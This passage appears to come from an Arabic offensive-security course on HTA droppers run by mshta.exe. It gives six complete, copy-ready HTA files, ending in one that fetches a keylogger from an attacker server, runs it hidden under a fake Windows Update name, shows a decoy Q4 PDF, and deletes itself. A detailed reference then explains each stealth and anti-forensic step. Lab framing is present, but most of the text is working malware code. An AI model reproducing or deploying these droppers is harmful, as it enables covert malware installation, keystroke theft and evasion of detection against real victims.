      APPLICATIONNAME="CorpUpdate"
      BORDER="thin"
      SCROLL="no"
      SHOWINTASKBAR="yes"
      SINGLEINSTANCE="yes"
      WINDOWSTATE="minimize" />

  <script language="JScript">
    // كود JScript هنا
    var shell = new ActiveXObject("WScript.Shell");
    shell.Run("calc.exe");
    window.close();
  </script>
</head>
<body>
  <p>Installing update, please wait...</p>
</body>
</html>

خصائص وسم HTA:APPLICATION

الخاصيةما تعنيهلماذا تهم للمهاجم
APPLICATIONNAMEاسم يظهر في Task Managerاسم مقنّع مثل "Windows Update"
WINDOWSTATEnormal / minimize / maximizeminimize = النافذة تختفي فورا
SHOWINTASKBARyes / nono = لا أيقونة في شريط المهام
BORDERthick / thin / nonenone = بلا إطار = تبدو صفحة نظام
SINGLEINSTANCEyes / noيمنع فتح نسختين معا
ICONمسار .icoأيقونة رسمية للخداع البصري

ActiveX: القوة الحقيقية داخل HTA

ActiveX = كائنات COM يستطيع JScript إنشاءها. أهم أربعة:

javascript
// (1) WScript.Shell — تشغيل برامج، تعديل Registry، متغيرات البيئة
var shell = new ActiveXObject("WScript.Shell");
// Run(command, windowStyle, waitOnReturn)
//   windowStyle: 0=hidden, 1=normal
//   waitOnReturn: false = لا تنتظر (نستخدمه دائما داخل HTA حتى لا تتجمد النافذة)
shell.Run("cmd.exe /c dir C:\\", 0, false);
shell.RegWrite("HKCU\\Software\\Foo\\Bar", "value");
var tempPath = shell.ExpandEnvironmentStrings("%TEMP%");

// (2) Scripting.FileSystemObject — قراءة/كتابة/نقل الملفات
var fso = new ActiveXObject("Scripting.FileSystemObject");
var file = fso.CreateTextFile("C:\\Users\\Public\\log.txt", true);
file.WriteLine("hello");
file.Close();

// (3) MSXML2.XMLHTTP — HTTP client (تنزيل من الإنترنت)
var http = new ActiveXObject("MSXML2.XMLHTTP.6.0");
http.open("GET", "https://attacker.example/payload.exe", false);
http.send();
var responseBody = http.responseBody;  // bytes[]

// (4) ADODB.Stream — كتابة bytes الى القرص
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;             // 1 = binary  (يجب قبل Open)
stream.Open();
stream.Write(responseBody);
stream.SaveToFile("C:\\Users\\Public\\p.exe", 2);  // 2 = adSaveCreateOverWrite
stream.Close();

الأربعة معا = الحمولة الكاملة: MSXML2.XMLHTTP ينزل الـ EXE من خادم المهاجم. ADODB.Stream يكتب الـ bytes إلى القرص. WScript.Shell يشغّل الـ EXE. Scripting.FileSystemObject يخفي الأثار. كل هذا في ملف واحد نصي بحجم أقل من 2 KB.

منطقة الأمان: Local Machine Zone

من أبرز ما يجعل HTA خطيرا: mshta.exe يشغّل الملف داخل ما يسمى Local Machine Zone، أعلى منطقة ثقة في نموذج مناطق Internet Explorer.

النتيجة العملية:

  • حتى إذا نزل الـ HTA من الإنترنت، بمجرد أن يفتحه mshta يصبح كأي برنامج محلي
  • كائنات ActiveX تعمل بحرية بلا قيود منطقة
  • لا يظهر أي تحذير أمان قبل تشغيل الكود

✅ اختبر نفسك: القسم 3

  1. ما الفرق بين ملف .html عادي وملف .hta من ناحية صلاحيات التنفيذ؟ ولماذا هذا الفرق موجود أصلاً؟
  2. اختر ثلاث خصائص من وسم HTA:APPLICATION واشرح كيف تخدم كلٌّ منها الخداع البصري.
  3. ما هو ActiveX في سياق HTA، ولماذا يوصف بأنه "القوة الحقيقية"؟
  4. ما معنى Local Machine Zone، وما علاقتها بقدرة HTA على فعل ما لا تستطيعه صفحة ويب؟
  5. لو ضبطت WINDOWSTATE=minimize و SHOWINTASKBAR=no معاً، ماذا يرى الضحية عند التشغيل؟

3/5 = تابع.


القسم 4القسم 4: بناء حمولة HTA: ست تكرارات كاملة قابلة للنسخ

التغيير الرئيسي عن نسخة PDF: كل تكرار هنا ملف كامل مستقل، ليس "أضف هذا للسابق". تنسخ ما تريد، تلصقه، يعمل.

#التكرارالهدف التعليمي
1Hello World HTAالتأكد أن mshta يعمل ويشغل JScript
2Popup + closeنافذة MessageBox واغلاق تلقائي
3spawn calc.exeالوصول لـ WScript.Shell وتشغيل برنامج
4تنزيل ملف من الشبكةMSXML2.XMLHTTP + ADODB.Stream
5تنزيل + تشغيل + إخفاءالحمولة الكاملة بلا نافذة مرئية
6إضافة Decoy PDF + مسح الأثرالتكامل النهائي: الضحية لا تشك بشيء

🧪 التكرار 1: Hello World HTA

احفظ الملف كاملا بهذا الاسم: 01-hello.hta

html
<html>
<head>
  <title>Hello</title>
  <HTA:APPLICATION ID="app" WINDOWSTATE="normal" />
</head>
<body style="font-family:Segoe UI;padding:24px;">
  <h2>Hello from HTA</h2>
  <p>If you see this, mshta.exe is working.</p>
</body>
</html>

التنفيذ: انسخ الملف إلى Victim VM (SMB share أو مرفق Roundcube)، ثم double-click. يجب أن تفتح نافذة صغيرة بيضاء. إذا لم تفتح، mshta معطلة على النظام أو الامتداد .hta معدّل.


🧪 التكرار 2: نافذة رسالة + إغلاق تلقائي

احفظ: 02-popup.hta

html
<html>
<head>
  <title>Update</title>
  <HTA:APPLICATION ID="app" WINDOWSTATE="minimize" SHOWINTASKBAR="no" />
  <script language="JScript">
    // بمجرد أن تحمّل النافذة: اعرض رسالة واغلق
    window.onload = function() {
      var msg = "Corporate update installed successfully.";
      new ActiveXObject("WScript.Shell").Popup(msg, 2, "CorpUpdate", 64);
      window.close();
    };
  </script>
</head>
<body></body>
</html>

التغيير المهم: WINDOWSTATE="minimize" + SHOWINTASKBAR="no". النافذة لا تظهر أصلا. الرسالة تختفي بعد ثانيتين. الضحية ترى وميضا خفيفا فقط.


🧪 التكرار 3: تشغيل برنامج محلي

احفظ: 03-runcalc.hta

html
<html>
<head>
  <title>Update</title>
  <HTA:APPLICATION ID="app" WINDOWSTATE="minimize" SHOWINTASKBAR="no" />
  <script language="JScript">
    window.onload = function() {
      var shell = new ActiveXObject("WScript.Shell");
      // Run(command, windowStyle, waitOnReturn)
      //   windowStyle = 0  ->  hidden
      //   waitOnReturn = false ->  ارجع فورا
      shell.Run("calc.exe", 0, false);
      window.close();
    };
  </script>
</head>
<body></body>
</html>

تحقق النجاح: بعد فتح الـ HTA على الضحية، افتح Task Manager، ابحث عن calc.exe أو CalculatorApp.exe. إذا وجدته → التكرار 3 نجح.


🧪 التكرار 4: تنزيل ملف من خادم المهاجم

احفظ: 04-download.hta

html
<html>
<head>
  <title>Update</title>
  <HTA:APPLICATION ID="app" WINDOWSTATE="minimize" SHOWINTASKBAR="no" />
  <script language="JScript">
    // ينزل ملفا من HTTP إلى مسار محلي
    function downloadTo(url, outPath) {
      var http = new ActiveXObject("MSXML2.XMLHTTP.6.0");
      http.open("GET", url, false);
      http.send();
      if (http.status != 200) return false;

      var stream = new ActiveXObject("ADODB.Stream");
      stream.Type = 1;              // 1 = binary (يجب قبل Open)
      stream.Open();
      stream.Write(http.responseBody);
      stream.SaveToFile(outPath, 2); // 2 = adSaveCreateOverWrite
      stream.Close();
      return true;
    }

    window.onload = function() {
      var shell = new ActiveXObject("WScript.Shell");
      var out   = shell.ExpandEnvironmentStrings(
                  "%APPDATA%\\Microsoft\\test.bin");
      downloadTo("http://127.0.0.1:8000/hello.bin", out);
      window.close();
    };
  </script>
</head>
<body></body>
</html>

قبل تشغيل الحمولة على الضحية، شغّل خادم اختبار على المهاجم (WSL):

bash
cd ~/lab/hta
echo "test payload bytes" > hello.bin
python3 -m http.server 8000 --bind 10.10.10.10

بعد التشغيل، تحقق من وجود الملف على الضحية (PowerShell):

powershell
Get-Content "$env:APPDATA\Microsoft\test.bin"
# النتيجة المتوقعة: test payload bytes

🧪 التكرار 5: تنزيل + تشغيل + إخفاء الأثر

احفظ: 05-full.hta

html
<html>
<head>
  <title>Windows Update</title>
  <HTA:APPLICATION ID="app" WINDOWSTATE="minimize" SHOWINTASKBAR="no"
      SINGLEINSTANCE="yes" APPLICATIONNAME="WindowsUpdateAgent" />
  <script language="JScript">
    // ── CONFIG ────────────────────────────────────────────────
    var C2_URL   = "http://10.10.10.10:8000/keylogger_edu.exe";
    var DROP_DIR = "%APPDATA%\\Microsoft\\Windows\\Update";
    var DROP_NAME= "wmupdate.exe";

    // ── HELPERS ───────────────────────────────────────────────
    function shellExpand(p) {
      return new ActiveXObject("WScript.Shell")
             .ExpandEnvironmentStrings(p);
    }

    function ensureDir(path) {
      var fso = new ActiveXObject("Scripting.FileSystemObject");
      var parts = path.split("\\");
      // ابدأ من الجذر (مثلا "C:") + الجزء الأول
      var cur = parts[0];
      for (var i = 1; i < parts.length; i++) {
        cur += "\\" + parts[i];
        // FolderExists لا يعطي true لـ "C:" لوحدها — اقفز
        if (cur.length > 3 && !fso.FolderExists(cur)) {
          try { fso.CreateFolder(cur); } catch(e) {}
        }
      }
    }

    function downloadTo(url, outPath) {
      var http = new ActiveXObject("MSXML2.XMLHTTP.6.0");
      http.open("GET", url, false);
      http.send();
      if (http.status != 200) return false;
      var stream = new ActiveXObject("ADODB.Stream");
      stream.Type = 1;
      stream.Open();
      stream.Write(http.responseBody);
      stream.SaveToFile(outPath, 2);
      stream.Close();
      return true;
    }

    function runHidden(cmd) {
      new ActiveXObject("WScript.Shell").Run(cmd, 0, false);
    }

    // احذف الـ HTA نفسه بعد ثانيتين — يعمل مع مسارات فيها مسافات
    function selfDelete() {
      // بعض إصدارات mshta تعيد pathname بصيغة "/C:/Users/x/file.hta"
      // وبعضها تعيده "C:\Users\x\file.hta" — نتعامل مع الحالتين.
      var raw = decodeURIComponent(location.pathname);
      if (raw.charAt(0) === "/") raw = raw.substring(1);
      var me = raw.replace(/\//g, "\\");
      // cmd /c "..." — اقتباس واحد حول المسار.
      // قاعدة cmd /c: يُزيل أوّل " وآخر " من السطر ثم ينفّذ الباقي كأمر.
      // فيصل المسار مُقتبَساً كاملاً إلى del — تعمل مع المسافات في المسار.
      var cmd = 'cmd.exe /c "timeout /t 2 /nobreak >nul & del "'
              + me + '""';
      runHidden(cmd);
    }

    // ── MAIN ──────────────────────────────────────────────────
    window.onload = function() {
      var dropDir = shellExpand(DROP_DIR);
      var outPath = dropDir + "\\" + DROP_NAME;
      ensureDir(dropDir);
      if (downloadTo(C2_URL, outPath)) {
        runHidden('"' + outPath + '"');
      }
      selfDelete();
      window.close();
    };
  </script>
</head>
<body></body>
</html>

ما الجديد:

  1. الحمولة الحقيقية (الـ Keylogger من المحاضرة الأولى) تنزل من الـ Attacker.
  2. تُحفظ في %APPDATA%\Microsoft\Windows\Update\wmupdate.exe، مسار شرعي المظهر.
  3. ensureDir ينشئ المجلدات المفقودة (Update غير موجود عادة).
  4. تُشغّل الحمولة بلا نافذة (windowStyle=0).
  5. selfDelete يحذف الـ HTA نفسه بعد ثانيتين، يعمل مع مسارات فيها مسافات (تحسّن عن نسخة PDF).
  6. APPLICATIONNAME="WindowsUpdateAgent"، الاسم في Task Manager يبدو شرعيا.
🐛 إصلاحات نسبة إلى نسخة PDF الإصلاح 1، طريقة تخريج الاقتباس في cmd /c: النسخة القديمة استخدمت \\" (تخريج على أسلوب JScript يعطي \" لـ cmd). لكن cmd لا يفسّر \" كتخريج، يعامله كحرفين حرفيين. النتيجة: يفشل مع أي مسار فيه مسافة. محاولة إصلاح لاحقة جرّبت "" (تكرار الاقتباس) — اختُبرت ولا تعمل مع المسافات في المسار: del ""C:\has space\x.hta"" تكسر عند أوّل مسافة. الصحيح: اقتباس واحد حول المسار (del "PATH"). قاعدة cmd /c "..." تُزيل أوّل " وآخر " من السطر ثم تُنفّذ الباقي كأمر — فيصل del "PATH" نظيفاً وتُقتبس المسافات صحّياً. الإصلاح 2، فاصل المسار: location.pathname يعطي مسارا بـ / (مثل /C:/Users/x/file.hta). أضفنا .replace(/\//g, "\\") قبل تمرير المسار إلى del. الإصلاح 3، توافق إصدارات mshta: بعض إصدارات Windows (مثل 11 24H2) تعيد location.pathname بصيغة C:\Users\x\file.hta مباشرة (بلا / بادئة). استخدام .substring(1) الثابت كان يقصّ حرف C فيُنتج مساراً مكسوراً :\Users\.... الإصلاح: نفحص charAt(0) أوّلاً ونقصّ / فقط إن وُجدت.

🧪 التكرار 6: إضافة Decoy PDF + الحمولة النهائية

الضحية نقرت على شيء يبدو ملف PDF، اسمه Q4-Report.pdf.hta وأيقونته أيقونة PDF.

لكن بعد النقر:

  • لا يفتح شيء
  • الضحية تنتظر ثانيتين
  • ثم ترى أن النافذة اختفت

هذا يثير الشك. الحل: قبل أن نخفي أنفسنا، نفتح PDF حقيقيا للضحية.

احفظ: 06-decoy.hta (الحمولة النهائية، انسخها كاملة، ستعمل)

html
<html>
<head>
  <title>Windows Update</title>
  <HTA:APPLICATION ID="app" WINDOWSTATE="minimize" SHOWINTASKBAR="no"
      SINGLEINSTANCE="yes" APPLICATIONNAME="WindowsUpdateAgent" />
  <script language="JScript">
    // ── CONFIG ────────────────────────────────────────────────
    var C2_URL      = "http://10.10.10.10:8000/keylogger_edu.exe";
    var DECOY_URL   = "http://10.10.10.10:8000/Q4-report.pdf";
    var DROP_DIR    = "%APPDATA%\\Microsoft\\Windows\\Update";
    var DROP_NAME   = "wmupdate.exe";
    var DECOY_LOCAL = "%TEMP%\\Q4-report.pdf";

    // ── HELPERS ───────────────────────────────────────────────
    function shellExpand(p) {
      return new ActiveXObject("WScript.Shell")
             .ExpandEnvironmentStrings(p);
    }

    function ensureDir(path) {
      var fso = new ActiveXObject("Scripting.FileSystemObject");
      var parts = path.split("\\");
      var cur = parts[0];
      for (var i = 1; i < parts.length; i++) {
        cur += "\\" + parts[i];
        if (cur.length > 3 && !fso.FolderExists(cur)) {
          try { fso.CreateFolder(cur); } catch(e) {}
        }
      }
    }

    function downloadTo(url, outPath) {
      var http = new ActiveXObject("MSXML2.XMLHTTP.6.0");
      http.open("GET", url, false);
      http.send();
      if (http.status != 200) return false;
      var stream = new ActiveXObject("ADODB.Stream");
      stream.Type = 1;
      stream.Open();
      stream.Write(http.responseBody);
      stream.SaveToFile(outPath, 2);
      stream.Close();
      return true;
    }

    function runHidden(cmd) {
      new ActiveXObject("WScript.Shell").Run(cmd, 0, false);
    }

    function selfDelete() {
      var raw = decodeURIComponent(location.pathname);
      if (raw.charAt(0) === "/") raw = raw.substring(1);
      var me = raw.replace(/\//g, "\\");
      // cmd /c "..." — اقتباس واحد حول المسار.
      // قاعدة cmd /c: يُزيل أوّل " وآخر " من السطر ثم ينفّذ الباقي.
      // فيصل المسار مُقتبَساً كاملاً إلى del — تعمل مع المسافات في المسار.
      var cmd = 'cmd.exe /c "timeout /t 2 /nobreak >nul & del "'
              + me + '""';
      runHidden(cmd);
    }

    // ── MAIN ──────────────────────────────────────────────────
    window.onload = function() {
      var shell     = new ActiveXObject("WScript.Shell");
      var decoyPath = shell.ExpandEnvironmentStrings(DECOY_LOCAL);
      var dropDir   = shell.ExpandEnvironmentStrings(DROP_DIR);
      var payload   = dropDir + "\\" + DROP_NAME;

      // (1) الطعم — انزله وافتحه للضحية (windowStyle=1 = normal)
      if (downloadTo(DECOY_URL, decoyPath)) {
        shell.Run('"' + decoyPath + '"', 1, false);
      }

      // (2) الحمولة الحقيقية — انزلها وشغلها خفية
      ensureDir(dropDir);
      if (downloadTo(C2_URL, payload)) {
        runHidden('"' + payload + '"');
      }

      // (3) امسح الأثر
      selfDelete();
      window.close();
    };
  </script>
</head>
<body></body>
</html>

تجربة المستخدم النهائية:

  1. الضحية تنقر على Q4-Report.pdf.hta (يبدو PDF بأيقونة PDF).
  2. تفتح نافذة Adobe Reader، ترى تقريرا Q4 حقيقيا.
  3. في الخلفية: الـ Keylogger نزل إلى %APPDATA% وشغّل بلا نافذة.
  4. الـ HTA نفسه اختفى (selfDelete).
  5. الضحية تتصفح الـ PDF بشكل طبيعي، لا شك بشيء.
  6. المهاجم يبدأ استلام بيانات الـ Keylogger.

مرجع مفصّل: كلمات ومكتبات القسم 4 و ملحق أ

هذا المرجع يقرأ الكود سطرا سطرا. أولا نمشي مع التكرارات الستة ونذكر ما الجديد فقط في كل تكرار، ثم يأتي المرجع التفصيلي الذي يشرح كل عنصر متكرر (خصائص HTA:APPLICATION، ActiveXObject، WScript.Shell، FileSystemObject، MSXML2.XMLHTTP، ADODB.Stream، location.pathname، تخريج cmd، إلخ) شرحا وافيا مرة واحدة.


التكرار 1: الجديد

هذا هو الحد الأدنى المطلق لملف HTA. لا يوجد كود JScript على الإطلاق، فقط HTML + وسم <HTA:APPLICATION> واحد.

العنصرالجديد هنالماذا
<html>...<head>...<body>هيكل HTML قياسيmshta.exe يعامل الملف كصفحة HTML بالكامل ثم يحقن قدرات ActiveX
<HTA:APPLICATION>الوسم الفارق بين HTML عادي و HTAوجوده وحده يخبر mshta أن هذا "تطبيق سطح مكتب" فتُفتح كل قيود المتصفح
ID="app"معرّف داخلي للوسمتستطيع الوصول للوسم من JScript بـ document.getElementById("app") أو مباشرة عبر الاسم المعرّف (app.commandLine مثلا)
WINDOWSTATE="normal"تظهر نافذة عاديةالغاية التعليمية هنا هي رؤية النافذة للتأكد أن mshta يعمل

الجسم يحتوي عبارة "Hello from HTA" ليعطي تأكيدا بصريا. لا script = لا حمولة، الملف كله غير مؤذٍ.


التكرار 2: الجديد

الجديد كله في اتجاهين: (أ) إخفاء النافذة، (ب) بدء تشغيل كود JScript عبر حدث تحميل الصفحة.

العنصرالجديدالسلوك
WINDOWSTATE="minimize"تغيّرت من normalالنافذة تُنشأ مصغّرة: الضحية ترى وميضا فقط
SHOWINTASKBAR="no"سمة جديدةلا أيقونة في شريط المهام حتى لا يُشكّك المستخدم
<script language="JScript">أول كتلة كودlanguage="JScript" (وليس type="text/javascript"): يفرض محرك JScript الكلاسيكي (ES3)
window.onload = function() {...}نقطة الدخولنؤجل التنفيذ حتى تتحمّل نافذة HTA بالكامل: لو نفّذنا في المستوى الأعلى، ActiveX قد يفشل قبل تجهيز الـ DOM
new ActiveXObject("WScript.Shell")أول استدعاء COMينشئ كائن WScript.Shell: بوابة إلى الصدفة (تشغيل، سجل، متغيرات بيئة)
.Popup(text, secondsToWait, title, type)دالة جديدةتعرض مربع رسالة يختفي تلقائيا بعد secondsToWait ثوان (هنا 2). type=64 = أيقونة معلومات (i زرقاء)
window.close()إنهاء الـ HTAmshta.exe يخرج فور إغلاق النافذة الأخيرة: بدون هذا يبقى في الذاكرة

التكرار 3: الجديد

تُستبدل رسالة Popup بأول تشغيل برنامج فعلي.

العنصرالجديدشرح
shell.Run(command, windowStyle, waitOnReturn)دالة Run من WScript.Shellتشغّل أي أمر (ملف تنفيذي، سطر cmd، رابط، اختصار)
windowStyle = 0قيمة "خفي"النافذة لا تظهر أبدا: أهم قيمة للمهاجم
waitOnReturn = falseعدم الانتظارRun يعود فورا؛ لو كانت true لتجمّدت نافذة HTA بانتظار انتهاء calc.exe: ثم يفشل window.close() في الوقت المناسب

لا تغيير على وسم HTA:APPLICATION أو بنية window.onload.


التكرار 4: الجديد

أول تكرار يلمس الشبكة والقرص. يضيف ثلاث قدرات ActiveX جديدة موزّعة على دالة downloadTo واحدة، بالإضافة إلى دالة ExpandEnvironmentStrings.

العنصرالجديددوره في السلسلة
function downloadTo(url, outPath)أول دالة مساعدةتفصل منطق التنزيل عن المنطق الرئيسي
new ActiveXObject("MSXML2.XMLHTTP.6.0")عميل HTTP.6.0 يفرض إصدار MSXML الحديث (يقبل TLS 1.2 والإصدارات الحديثة من الشهادات)
http.open("GET", url, false)تهيئة الطلبfalse = متزامن (sync)؛ داخل HTA هذا مقبول لأن الـ UI مخفي أصلا
http.send()إطلاق الطلبيُوقف الخيط حتى يعود الردّ (بسبب sync)
http.statusرمز الحالةنتحقق أنه 200 قبل الكتابة على القرص: يمنع كتابة صفحة خطأ HTML بدل الحمولة
http.responseBodyالبيانات كـ SAFEARRAY of bytesليست نصا: responseText سيُفسد الـ EXE بترميز UTF-8
new ActiveXObject("ADODB.Stream")تدفّق IO ثنائيالأداة الوحيدة في JScript لكتابة bytes خامّة على القرص
stream.Type = 1adTypeBinaryيجب ضبطها قبل Open()، وإلا يعامل الكائن التدفق كنص
stream.Open()فتح المخزن في الذاكرةلا يُنشئ ملفا بعد: فقط buffer
stream.Write(bytes)كتابة SAFEARRAYيقبل responseBody مباشرة
stream.SaveToFile(path, 2)كتابة على القرص2 = adSaveCreateOverWrite: يُنشئ الملف أو يستبدل الموجود
stream.Close()تحرير الذاكرةمهم: الملف يبقى مفتوحا بلا هذا
shell.ExpandEnvironmentStrings("%APPDATA%\\...")تحويل متغيرات البيئةJScript لا يعرف %APPDATA%؛ نُمرّرها لـ Windows ليعيدها كمسار مُوسَّع فعلي مثل C:\Users\alice\AppData\Roaming\...

لا تغيير على وسم HTA:APPLICATION. الحمولة هنا مجرد إثبات مفهوم: تكتب ملف test.bin في %APPDATA%\Microsoft.


التكرار 5: الجديد

هذا التكرار يجمع الأدوات في حمولة كاملة ويضيف أربع قدرات جديدة: ضمان وجود المجلد، تشغيل خفي مُغلّف في دالة، حذف ذاتي للـ HTA، وسمتان جديدتان في HTA:APPLICATION.

العنصرالجديدشرح
SINGLEINSTANCE="yes"سمة جديدةلو نُقر الملف مرتين، لا تُفتح نسخة ثانية: يمنع سباق العمليات وتكرار التنزيل
APPLICATIONNAME="WindowsUpdateAgent"سمة جديدةالاسم الذي يظهر في Task Manager تحت عمود "Process Name": تمويه بصري
var C2_URL = "...", DROP_DIR, DROP_NAMEثوابت في الأعلىنمط Config block: تسهيل التعديل بلا لمس المنطق
function shellExpand(p)تغليف ExpandEnvironmentStringsتنقية النمط: استدعاء أقصر مما في التكرار 4
function ensureDir(path)دالة جديدة كلياتُنشئ سلسلة المجلدات المفقودة: لأن Microsoft\Windows\Update غير موجود افتراضيا
new ActiveXObject("Scripting.FileSystemObject")كائن FSO جديدواجهة قراءة/كتابة الملفات والمجلدات
fso.FolderExists(cur)فحص وجود مجلدتجنّب استثناء "المجلد موجود"
fso.CreateFolder(cur)إنشاء مجلدلا ينشئ الآباء تلقائيا: لهذا نحتاج الحلقة
path.split("\\") + cur.length > 3نمط بناء تراكمينفصل المسار على \ ثم نعيد بناءه خطوة بخطوة. الشرط > 3 يتخطى الجذر ("C:" أو "C:\") لأن FolderExists("C:") قد يعطي false وإنشاؤه فاشل
try { ... } catch(e) {}ابتلاع صامت للأخطاءلو فشلت CreateFolder (سباق، صلاحيات) نستمر بلا كسر: الغرض "بذل الجهد الأفضل"
function runHidden(cmd)تغليف Run(cmd, 0, false)وضوح النية عند القراءة
function selfDelete()دالة جديدةتحذف ملف الـ HTA نفسه بعد ثانيتين: لتقليل الأثر الجنائي
location.pathnameخاصية DOM قياسيةداخل HTA تعود بصيغة /C:/Users/x/file.hta: لاحظ الشرطة البادئة والفواصل /
.substring(1)قصّ الشرطة البادئةتُحوّل /C:/... إلى C:/...
decodeURIComponent(...)فك ترميز URLيعيد المسافات (%20) والأحرف العربية إلى شكلها الأصلي: بدونه del يفشل مع اسم My Documents
.replace(/\//g, "\\")تحويل / إلى \del من cmd يقبل / نظريا لكن يخلطها مع مفاتيح الأوامر (/f, /s): نطبّع للأمان
'cmd.exe /c "timeout /t 2 /nobreak >nul & del "' + me + '""'اقتباس واحد حول المسار + الاعتماد على قاعدة cmd /c في تجريد الاقتباس الخارجيّشرحه في المرجع أدناه. المحاولة السابقة ""..."" تُكسر عند أوّل مسافة في المسار (اختُبرت)
timeout /t 2 /nobreak >nulتأخير عملييعطي HTA وقتا لينهي window.close() قبل محاولة الحذف: لا حاجة لـ setTimeout في JScript
استدعاء selfDelete() قبل window.close()ترتيب مقصودRun يُطلق العملية الفرعية أولا ثم HTA يغلق نفسه: الأمر الفرعي ينتظر ثانيتين ثم يحذف

التكرار 6: الجديد

يضيف طُعم PDF لتحسين الغطاء النفسي، الضحية ترى فعلا "شيئا حصل".

العنصرالجديدشرح
var DECOY_URL, var DECOY_LOCALثابتان جديدانعنوان PDF على خادم المهاجم + مسار محلي في %TEMP%
تنزيل الطُعم بـ download(DECOY_URL, decoyPath)استخدام ثان للدالةنفس دالة download من التكرار 5
shell.Run('"' + decoyPath + '"', 1, false)windowStyle = 1 بدلا من 01 = نافذة عادية مرئية: Adobe Reader يفتح ويعرض PDF
الاقتباس '"' + path + '"'نمط تغليف بالمسارنضع "..." حول المسار لأن %TEMP% قد يحتوي مسافات (اسم مستخدم مركّب)
ترتيب الخطوات: طُعم → حمولة → حذفتسلسل نفسيالضحية ترى PDF أولا فتنشغل به بينما تنزل الحمولة في الخلفية

لا تغيير على وسم HTA:APPLICATION ولا على الدوال المساعدة، فقط منطق MAIN توسّع.


ملحق أ (payload.hta): الجديد فوق التكرار 6

نفس منطق التكرار 6، لكن وسم HTA:APPLICATION مُتوّج بكل السمات الممكنة للتخفّي التام:

العنصرالجديدشرح
ID="objHTA"معرّف صريحتسمية أوضح للتتبع في JScript لو احتجناها لاحقا
APPLICATIONNAME="WindowsUpdateAgent"موجود منذ التكرار 5تمويه في Task Manager
BORDER="none"سمة جديدةلا إطار نافذة: لو ظهرت للحظة تبدو شريط نظام أكثر منها تطبيقا
SCROLL="no"سمة جديدةلا أشرطة تمرير: سطح نظيف بلا آثار متصفح
SHOWINTASKBAR="no"من قبللا أيقونة شريط مهام
SINGLEINSTANCE="yes"من قبلنسخة واحدة فقط
WINDOWSTATE="minimize"من قبلمصغّرة عند البدء
download بدل downloadToتغيير اسم فقطنفس الدالة، اسم أقصر
sh بدل shellتغيير اسم فقطنفس الكائن

لا قدرات تقنية جديدة في الملحق، التغيير كله تجميلي/تمويهي.


المرجع التفصيلي (لكل الكود المتكرّر)

1) وسم <HTA:APPLICATION>: كل سمة على حدة

السمةالقيمة عندناماذا تعنيماذا يحدث لو غيّرناها
ID"objHTA" / "app"معرّف يمكن الوصول للوسم عبره من JScript مثل app.commandLine. اختياريلو حُذفت: يبقى الـ HTA يعمل لكن لا تستطيع قراءة سماته برمجيا
APPLICATIONNAME"WindowsUpdateAgent"الاسم الذي يظهر في Task Manager ويستخدمه SINGLEINSTANCE للتمييزلو حُذف: يظهر اسم عام مثل mshta.exe (32 bit) بلا تخصيص
BORDER"none" (ملحق) / "thin" (افتراضي)شكل حدود النافذة: thick/thin/none/dialogthick: زوايا سميكة قابلة لتغيير الحجم؛ none: تختفي كل ديكورات النافذة (لا يمكن سحبها)
SCROLL"no"هل تظهر أشرطة التمرير: yes/no/autoyes: يظهر شريط تمرير حتى لو لم يُحتج: يفضح الطبيعة HTML
SHOWINTASKBAR"no"هل تظهر أيقونة في شريط المهامyes (الافتراضي): تظهر: الضحية تلاحظ. لا يؤثر على وجود العملية في Task Manager
SINGLEINSTANCE"yes"هل يُسمح بأكثر من نسخةno: كل نقرة تفتح نسخة جديدة: سباق تنزيل ومسار حذف ذاتي كارثي
WINDOWSTATE"minimize"حالة النافذة عند البدء: normal/minimize/maximizenormal: تظهر النافذة كاملة: كشف بصري فوري. maximize: أسوأ (شاشة كاملة)
ICONغير مستخدممسار ملف .ico كأيقونة النافذةلو أُضيفت وأشارت لأيقونة Adobe: مطابقة بصرية للطُعم
INNERBORDERغير مستخدمحدود داخلية بارزة (yes افتراضيا في IE قديم)no: نافذة أنظف: عمليا مستحبّ للتخفّي

2) <script language="JScript">: لماذا JScript

  • JScript هو تنفيذ مايكروسوفت لـ ECMAScript 3 (سنة 1999). قديم جدا لكنه المحرك الوحيد المدمج في mshta مع VBScript.
  • نستخدم language="JScript" (وليس type="text/javascript") لأن mshta لا يفهم type="module" ولا async. النحو القديم أضمن.
  • ES3 يعني: لا let، لا const، لا arrow functions، لا class، لا Promise، لا Array.map/forEach، لا JSON.parse. كلها تُلقي Syntax Error.
  • لماذا لا VBScript؟ يعمل أيضا داخل HTA، لكن نحو JScript أقرب لأي مبرمج معاصر، وتخريج الأقواس أوضح.
  • VBScript يُنزَع افتراضيا من Windows 11 24H2+ (يتحوّل إلى Feature On Demand). JScript باقٍ حتى الآن.

3) window.onload: دورة حياة DOM في HTA

  • HTA يمر بنفس مراحل صفحة HTML: تحليل → تكوين DOM → إطلاق DOMContentLoaded → تحميل الموارد → إطلاق load.
  • كود في المستوى الأعلى (خارج onload) قد ينفّذ قبل تكوين document.body كاملا؛ location.pathname قد يكون فارغا لحظتها.
  • window.onload يضمن أن كل شيء جاهز: الـ DOM مبني، mshta هيّأ سياق ActiveX، location مليء.
  • لو كتبنا setTimeout(fn, 0) أو استخدمنا DOMContentLoaded: يعمل أيضا لكن onload هو الأبسط والأثبت في mshta.

4) new ActiveXObject(progId): كيف يعمل COM

  • COM ProgID = اسم بشري لـ CLSID (معرّف GUID مسجّل في HKCR\CLSID).
  • new ActiveXObject("WScript.Shell") يبحث في HKCR\WScript.Shell\CLSID عن GUID ({72C24DD5-...} لهذا الكائن)، يُحمّل wshom.ocx، وينشئ الكائن.
  • لاحقة الإصدار: MSXML2.XMLHTTP.6.0 مثلا. لولا .6.0 سنحصل على MSXML2.XMLHTTP (نسخة قديمة قد تعطي SSL/TLS قديم مثل TLS 1.0، تفشل مع خوادم 2026).
  • قائمة الإصدارات: MSXML2.XMLHTTP (3.0)، .3.0، .6.0. .6.0 هو الوحيد الحديث الآمن. .4.0 و .5.0 لا وجود لهما (تخطّتها مايكروسوفت).
  • لو ProgID غير مسجّل: يُلقى Automation server can't create object، نتجه لبديل (WinHttp.WinHttpRequest.5.1 مثلا).

5) WScript.Shell: واجهة الصدفة كاملة

العضوالتوقيعالدور
Run(command, windowStyle, waitOnReturn)3 وسائطتشغيل أمر: الأشهر
Popup(text, secondsToWait, title, type)4 وسائطمربع رسالة يختفي تلقائيا
ExpandEnvironmentStrings(str)1 وسيطتحويل %VAR% إلى قيمتها
RegWrite(key, value, type)3 وسائطكتابة في السجل
RegRead(key) / RegDelete(key)1 وسيطقراءة/حذف من السجل
